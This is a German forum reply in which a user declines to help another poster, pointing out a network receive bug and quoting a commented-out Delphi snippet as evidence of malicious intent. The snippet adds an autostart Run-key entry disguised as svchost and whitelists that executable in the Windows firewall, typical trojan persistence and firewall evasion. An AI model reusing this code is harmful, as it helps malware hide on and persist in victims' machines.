Morgen,
also erstmal "tschuldigung", aber dafür können wir auch nichts, dass DU ein Problem hast.
Vielleicht solltest du deine, wie du schon sagtest, zusammenkopierten Codes auch versuchen zu verstehen.
Den nächsten Fehler sehe ich nämlich schon bei deiner Empfangsroutine. Dir sollte klar sein, dass Daten, wenn sie über das Netzwerk verschickt werden in beliebigen Fetzen ankommen können.
Weiter helfen möchte ich dir eigentlich nicht, denn dasshier
Delphi-Quellcode:
{ Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_CURRENT_USER;
Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run', True);
Reg.WriteString('windows.svchost', 'C:\Windows\svchost.exe');
Reg.CloseKey;
Reg.RootKey := HKEY_LOCAL_MACHINE;
Reg.OpenKey('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\' + 'FirewallPolicy\StandardProfile\AuthorizedApplications\List', True);
Reg.WriteString('svchost.exe', 'svchost.exe' + ':*:Enabled:winhost32');
Reg.CloseKey;
finally
Reg.Free;
end; }
lässt doch auf eine recht zweifelhafte Anwendung schließen und strafbar machen möchte ich mich nicht, indem ich dir dabei helfe. Ist natürlich peinlich wenn beim "Opfer" willkürlich
Access Violations auftreten.
[edit=sakura] Langen String für bessere Darstellung formatiert. Mfg, sakura[/edit]